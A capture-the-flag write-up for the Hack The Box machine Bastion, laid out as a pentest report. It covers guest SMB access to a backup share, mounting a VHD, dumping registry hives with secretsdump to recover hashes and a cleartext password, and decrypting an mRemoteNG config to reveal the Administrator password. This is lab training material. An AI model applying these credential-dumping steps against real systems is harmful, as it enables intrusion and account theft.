Hack The Box Bastion Writeup (Easy Windows)
Easy Windows box. A guest readable Backups share holds a VHD, secretsdump pulls bureaulampje from its hives, and mRemoteNG gives up the Administrator.
Hack The Box Bastion Writeup (Easy Windows)
Summary
Bastion exposes SSH, SMB and WinRM, and a guest session with an empty password can read and write the non-default Backups share. Inside it sit Windows Image Backup VHD files that note.txt says are too large to copy over the VPN, so the share is mounted with cifs and the 5.1G VHD is mounted read-only with guestmount. That exposes the SAM, SECURITY and SYSTEM hives under Windows/System32/config, and Impacket’s secretsdump recovers the LSA DefaultPassword bureaulampje, which logs in over SSH as l4mpje. Enumerating the filesystem turns up mRemoteNG installed under Program Files (x86), so its confCons.xml is pulled off the box with scp. Decrypting that config with mremoteng_decrypt.py prints the Administrator password thXLHM96BeKL0ER2 in cleartext.
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# Nmap 7.93 scan initiated Sat Mar 29 18:01:57 2025 as: nmap -A -vv -p- -oN scans/nmap.all 10.10.10.134
Increasing send delay for 10.10.10.134 from 0 to 5 due to 30 out of 98 dropped probes since last increase.
Nmap scan report for 10.10.10.134
Host is up, received conn-refused (0.066s latency).
Scanned at 2025-03-29 18:01:57 GMT for 913s
Not shown: 65522 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a56ae753c780ec8564dcb1c22bf458a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3bG3TRRwV6dlU1lPbviOW+3fBC7wab+KSQ0Gyhvf9Z1OxFh9v5e6GP4rt5Ss76ic1oAJPIDvQwGlKdeUEnjtEtQXB/78Ptw6IPPPPwF5dI1W4GvoGR4MV5Q6CPpJ6HLIJdvAcn3isTCZgoJT69xRK0ymPnqUqaB+/ptC4xvHmW9ptHdYjDOFLlwxg17e7Sy0CA67PW/nXu7+OKaIOx0lLn8QPEcyrYVCWAqVcUsgNNAjR4h1G7tYLVg3SGrbSmIcxlhSMexIFIVfR37LFlNIYc6Pa58lj2MSQLusIzRoQxaXO4YSp/dM1tk7CN2cKx1PTd9VVSDH+/Nq0HCXPiYh3
| 256 cc2e56ab1997d5bb03fb82cd63da6801 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBF1Mau7cS9INLBOXVd4TXFX/02+0gYbMoFzIayeYeEOAcFQrAXa1nxhHjhfpHXWEj2u0Z/hfPBzOLBGi/ngFRUg=
| 256 935f5daaca9f53e7f282e664a8a3a018 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB34X2ZgGpYNXYb+KLFENmf0P0iQ22Q0sjws2ATjFsiN
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49665/tcp open msrpc syn-ack Microsoft Windows RPC
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49668/tcp open msrpc syn-ack Microsoft Windows RPC
49669/tcp open msrpc syn-ack Microsoft Windows RPC
49670/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -19m59s, deviation: 34m36s, median: 0s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 34631/tcp): CLEAN (Couldn't connect)
| Check 2 (port 26941/tcp): CLEAN (Couldn't connect)
| Check 3 (port 4589/udp): CLEAN (Timeout)
| Check 4 (port 18741/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
| date: 2025-03-29T18:17:05
|_ start_date: 2025-03-29T17:58:22
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-03-29T19:17:03+01:00
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 29 18:17:10 2025 -- 1 IP address (1 host up) scanned in 913.14 seconds
BS01: Unprotected Backups
TL;DR
The tester, whilst enumerating the SMB shares available, discovered unprotected full-disk backups available for usage. Leveraging this, the tester could mount the SMB share in question to their linux machine, and use the full-disk backup to access sensitive files, including system registry hives like SYSTEM, SAM and SECURITY.
Exploitation Steps
The tester enumerated shares using a guest session:
1
2
3
4
5
6
7
8
9
10
$ nxc smb 10.10.10.134 -u 'guest' -p '' --shares
SMB 10.10.10.134 445 BASTION [*] Windows 10 / Server 2016 Build 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB 10.10.10.134 445 BASTION [+] Bastion\guest:
SMB 10.10.10.134 445 BASTION [*] Enumerated shares
SMB 10.10.10.134 445 BASTION Share Permissions Remark
SMB 10.10.10.134 445 BASTION ----- ----------- ------
SMB 10.10.10.134 445 BASTION ADMIN$ Remote Admin
SMB 10.10.10.134 445 BASTION Backups READ,WRITE
SMB 10.10.10.134 445 BASTION C$ Default share
SMB 10.10.10.134 445 BASTION IPC$ READ Remote IPC
The “Backups” share isn’t a default share. With that in mind, the tester connected to it, leveraging the “READ,WRITE” permissions that the guest user has over it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
$ smbclient -U 'Bastion\guest' \\\\10.10.10.134\\Backups
Password for [BASTION\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Mar 30 14:59:02 2025
.. D 0 Sun Mar 30 14:59:02 2025
DleGtJsQmq.txt A 0 Sat Mar 29 18:06:13 2025
IgGXTfdvMK.txt A 0 Sun Mar 30 14:59:02 2025
note.txt AR 116 Tue Apr 16 11:10:09 2019
nSuXNtqozV D 0 Sat Mar 29 18:06:12 2025
ObRswhSLCe D 0 Sat Mar 29 18:04:54 2025
SDT65CB.tmp A 0 Fri Feb 22 12:43:08 2019
WindowsImageBackup Dn 0 Fri Feb 22 12:44:02 2019
yoPjeaQrtA D 0 Sun Mar 30 14:59:02 2025
zltpskFEuI.txt A 0 Sat Mar 29 18:04:55 2025
5638911 blocks of size 4096. 1170401 blocks available
smb: \> cd WindowsImageBackup\
smb: \WindowsImageBackup\> ls
. Dn 0 Fri Feb 22 12:44:02 2019
.. Dn 0 Fri Feb 22 12:44:02 2019
L4mpje-PC Dn 0 Fri Feb 22 12:45:32 2019
5638911 blocks of size 4096. 1170401 blocks available
smb: \WindowsImageBackup\> cd L4mpje-PC\
smb: \WindowsImageBackup\L4mpje-PC\> ls
. Dn 0 Fri Feb 22 12:45:32 2019
.. Dn 0 Fri Feb 22 12:45:32 2019
Backup 2019-02-22 124351 Dn 0 Fri Feb 22 12:45:32 2019
Catalog Dn 0 Fri Feb 22 12:45:32 2019
MediaId An 16 Fri Feb 22 12:44:02 2019
SPPMetadataCache Dn 0 Fri Feb 22 12:45:32 2019
5638911 blocks of size 4096. 1170401 blocks available
smb: \WindowsImageBackup\L4mpje-PC\> cd "Backup 2019-02-22 124351\"
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> ls
. Dn 0 Fri Feb 22 12:45:32 2019
.. Dn 0 Fri Feb 22 12:45:32 2019
9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd An 37761024 Fri Feb 22 12:44:03 2019
9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd An 5418299392 Fri Feb 22 12:45:32 2019
BackupSpecs.xml An 1186 Fri Feb 22 12:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml An 1078 Fri Feb 22 12:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml An 8930 Fri Feb 22 12:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml An 6542 Fri Feb 22 12:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml An 2894 Fri Feb 22 12:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml An 1488 Fri Feb 22 12:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml An 1484 Fri Feb 22 12:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml An 3844 Fri Feb 22 12:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml An 3988 Fri Feb 22 12:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml An 7110 Fri Feb 22 12:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml An 2374620 Fri Feb 22 12:45:32 2019
5638911 blocks of size 4096. 1170401 blocks available
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\>
Among other files, it’s possible to locate two disk files (ending with .vhd):
1
2
9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd An 37761024 Fri Feb 22 12:44:03 2019
9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd An 5418299392 Fri Feb 22 12:45:32 2019
The tester tried to transfer the files to their local attacking machine, but failed to do so. The file is too large to be transferred via the network, as described in the “note.txt” file in the root of the share:
1
2
3
$ cat note.txt
Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.
So, in order to make this disk file usable, the tester needs to mount the SMB share. The tester created a mount directory:
1
mkdir mount
And proceeded to mount the share:
1
$ sudo mount -t cifs //10.10.10.134/Backups -o user=guest,password= ./mount/
Listing the contents, it’s possible to see that the share was mounted:
1
2
3
4
5
6
7
8
9
10
11
$ ls -l mount/
total 1
-rwxr-xr-x 1 root root 0 Mar 29 18:06 DleGtJsQmq.txt
-rwxr-xr-x 1 root root 0 Mar 30 14:59 IgGXTfdvMK.txt
-r-xr-xr-x 1 root root 116 Apr 16 2019 note.txt
drwxr-xr-x 2 root root 0 Mar 29 18:06 nSuXNtqozV
drwxr-xr-x 2 root root 0 Mar 29 18:04 ObRswhSLCe
-rwxr-xr-x 1 root root 0 Feb 22 2019 SDT65CB.tmp
drwxr-xr-x 2 root root 0 Feb 22 2019 WindowsImageBackup
drwxr-xr-x 2 root root 0 Mar 30 14:59 yoPjeaQrtA
-rwxr-xr-x 1 root root 0 Mar 29 18:04 zltpskFEuI.txt
Then the tester mounted the disk itself in a “vdisk” folder locally:
1
2
$ mkdir vdisk
$ sudo guestmount --inspector --add mount/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --ro ./vdisk
It’s important to note that the tester automatically selected the “9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd” because it is 5.1G of size, way bigger than the other vhd file.
And, as root, the tester could inspect the disk:
1
2
3
4
5
6
7
8
$ ls vdisk
ls: cannot access 'vdisk': Permission denied
user@attackbox:~/hacking/htb/machines/easy/bastion$ sudo su
root@attackbox:/home/user/hacking/htb/machines/easy/bastion# ls vdisk/
'$Recycle.Bin' 'Documents and Settings' ProgramData 'System Volume Information'
autoexec.bat pagefile.sys 'Program Files' Users
config.sys PerfLogs Recovery Windows
root@attackbox:/home/user/hacking/htb/machines/easy/bastion#
BS02: Initial Access
TL;DR
After mounting the unprotected full-disk backup, and getting a hold on highly sensitive files like the registry hives SAM, SECURITY and SYSTEM, the tester was able to dump secrets from the hives, uncovering a cleartext password that could be used to log in as “l4mpje” user to the system via SSH.
Exploitation Steps
The tester located registry hives from the locally mounted disk in C:\Windows\System32\config:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@attackbox:/home/user/hacking/htb/machines/easy/bastion/vdisk/Windows/System32/config# ls -l
total 74088
-rwxrwxrwx 2 root root 28672 Feb 22 2019 BCD-Template
-rwxrwxrwx 2 root root 25600 Feb 22 2019 BCD-Template.LOG
-rwxrwxrwx 2 root root 30932992 Feb 22 2019 COMPONENTS
-rwxrwxrwx 2 root root 1048576 Feb 22 2019 COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.0.regtrans-ms
-rwxrwxrwx 2 root root 1048576 Feb 22 2019 COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.1.regtrans-ms
-rwxrwxrwx 2 root root 1048576 Feb 22 2019 COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.2.regtrans-ms
-rwxrwxrwx 2 root root 65536 Feb 22 2019 COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.blf
-rwxrwxrwx 2 root root 65536 Feb 22 2019 COMPONENTS{6cced2ed-6e01-11de-8bed-001e0bcd1824}.TM.blf
-rwxrwxrwx 2 root root 524288 Feb 22 2019 COMPONENTS{6cced2ed-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000001.regtrans-ms
-rwxrwxrwx 2 root root 524288 Jul 14 2009 COMPONENTS{6cced2ed-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000002.regtrans-ms
-rwxrwxrwx 2 root root 1024 Apr 12 2011 COMPONENTS.LOG
-rwxrwxrwx 2 root root 262144 Feb 22 2019 COMPONENTS.LOG1
-rwxrwxrwx 2 root root 0 Jul 14 2009 COMPONENTS.LOG2
-rwxrwxrwx 1 root root 262144 Feb 22 2019 DEFAULT
-rwxrwxrwx 1 root root 1024 Apr 12 2011 DEFAULT.LOG
-rwxrwxrwx 2 root root 91136 Feb 22 2019 DEFAULT.LOG1
-rwxrwxrwx 2 root root 0 Jul 14 2009 DEFAULT.LOG2
drwxrwxrwx 1 root root 0 Jul 14 2009 Journal
drwxrwxrwx 1 root root 0 Feb 22 2019 RegBack
-rwxrwxrwx 1 root root 262144 Feb 22 2019 SAM
-rwxrwxrwx 1 root root 1024 Apr 12 2011 SAM.LOG
-rwxrwxrwx 2 root root 21504 Feb 22 2019 SAM.LOG1
-rwxrwxrwx 2 root root 0 Jul 14 2009 SAM.LOG2
-rwxrwxrwx 1 root root 262144 Feb 22 2019 SECURITY
-rwxrwxrwx 1 root root 1024 Apr 12 2011 SECURITY.LOG
-rwxrwxrwx 2 root root 21504 Feb 22 2019 SECURITY.LOG1
-rwxrwxrwx 2 root root 0 Jul 14 2009 SECURITY.LOG2
-rwxrwxrwx 1 root root 24117248 Feb 22 2019 SOFTWARE
-rwxrwxrwx 1 root root 1024 Apr 12 2011 SOFTWARE.LOG
-rwxrwxrwx 2 root root 262144 Feb 22 2019 SOFTWARE.LOG1
-rwxrwxrwx 2 root root 0 Jul 14 2009 SOFTWARE.LOG2
-rwxrwxrwx 1 root root 9699328 Feb 22 2019 SYSTEM
-rwxrwxrwx 1 root root 1024 Apr 12 2011 SYSTEM.LOG
-rwxrwxrwx 2 root root 262144 Feb 22 2019 SYSTEM.LOG1
-rwxrwxrwx 2 root root 0 Jul 14 2009 SYSTEM.LOG2
drwxrwxrwx 1 root root 4096 Nov 20 2010 systemprofile
drwxrwxrwx 1 root root 4096 Feb 22 2019 TxR
The tester grabbed SYSTEM, SAM and SECURITY to their local machine:
1
# cp SYSTEM SAM SECURITY /home/user/hacking/htb/machines/easy/bastion/
In another terminal, the tester used impacket’s secretsdump.py tool to dump secrets from the hives:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
user@attackbox:~/hacking/htb/machines/easy/bastion$ secretsdump.py LOCAL -sam SAM -security SECURITY -system SYSTEM
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):bureaulampje
[*] DPAPI_SYSTEM
dpapi_machinekey:0x32764bdcb45f472159af59f1dc287fd1920016a6
dpapi_userkey:0xd2e02883757da99914e3138496705b223e9d03dd
[*] Cleaning up...
A cleartext password is found (bureaulampje).
The tester was able to log in as l4mpje using the cleartext password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ssh l4mpje@10.10.10.134
l4mpje@10.10.10.134's password: bureaulampje
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
l4mpje@BASTION C:\Users\L4mpje>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::11
IPv6 Address. . . . . . . . . . . : dead:beef::c57a:7deb:f496:c898
Link-local IPv6 Address . . . . . : fe80::c57a:7deb:f496:c898%4
IPv4 Address. . . . . . . . . . . : 10.10.10.134
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:8050%4
10.10.10.2
Tunnel adapter isatap.{8253841C-588D-4E94-B23A-993BB2E4B4D9}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : htb
l4mpje@BASTION C:\Users\L4mpje>
BS03: Privilege Escalation
TL;DR
After through enumeration of the system, the tester located files regarding “mRemoteNG”:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
l4mpje@BASTION C:\Program Files (x86)>dir
Volume in drive C has no label.
Volume Serial Number is 1B7D-E692
Directory of C:\Program Files (x86)
22-02-2019 15:01 <DIR> .
22-02-2019 15:01 <DIR> ..
16-07-2016 15:23 <DIR> Common Files
23-02-2019 10:38 <DIR> Internet Explorer
16-07-2016 15:23 <DIR> Microsoft.NET
22-02-2019 15:01 <DIR> mRemoteNG
23-02-2019 11:22 <DIR> Windows Defender
23-02-2019 10:38 <DIR> Windows Mail
23-02-2019 11:22 <DIR> Windows Media Player
16-07-2016 15:23 <DIR> Windows Multimedia Platform
16-07-2016 15:23 <DIR> Windows NT
23-02-2019 11:22 <DIR> Windows Photo Viewer
16-07-2016 15:23 <DIR> Windows Portable Devices
16-07-2016 15:23 <DIR> WindowsPowerShell
0 File(s) 0 bytes
14 Dir(s) 4.793.962.496 bytes free
l4mpje@BASTION C:\Program Files (x86)>
Searching google for information about this software, the tester found a github repository that claims to be able to decrypt mRemoteNG configuration files, and links to this article.
The tester copied the mRemoteNG configuration file to their local machine:
1
$ scp l4mpje@10.10.10.134:'C:\\Users\\L4mpje\\AppData\\Roaming\\mRemoteNG\\confCons.xml' ./conf.xml
And used the python script in the github repo mentioned earlier to decrypt it, obtaining cleartext password for the administrator user:
1
2
3
4
5
6
7
8
9
10
$ python3 mremoteng_decrypt.py ~/hacking/htb/machines/easy/bastion/conf.xml
Name: DC
Hostname: 127.0.0.1
Username: Administrator
Password: thXLHM96BeKL0ER2
Name: L4mpje-PC
Hostname: 192.168.1.75
Username: L4mpje
Password: bureaulampje
This post is licensed under CC BY 4.0 by the author.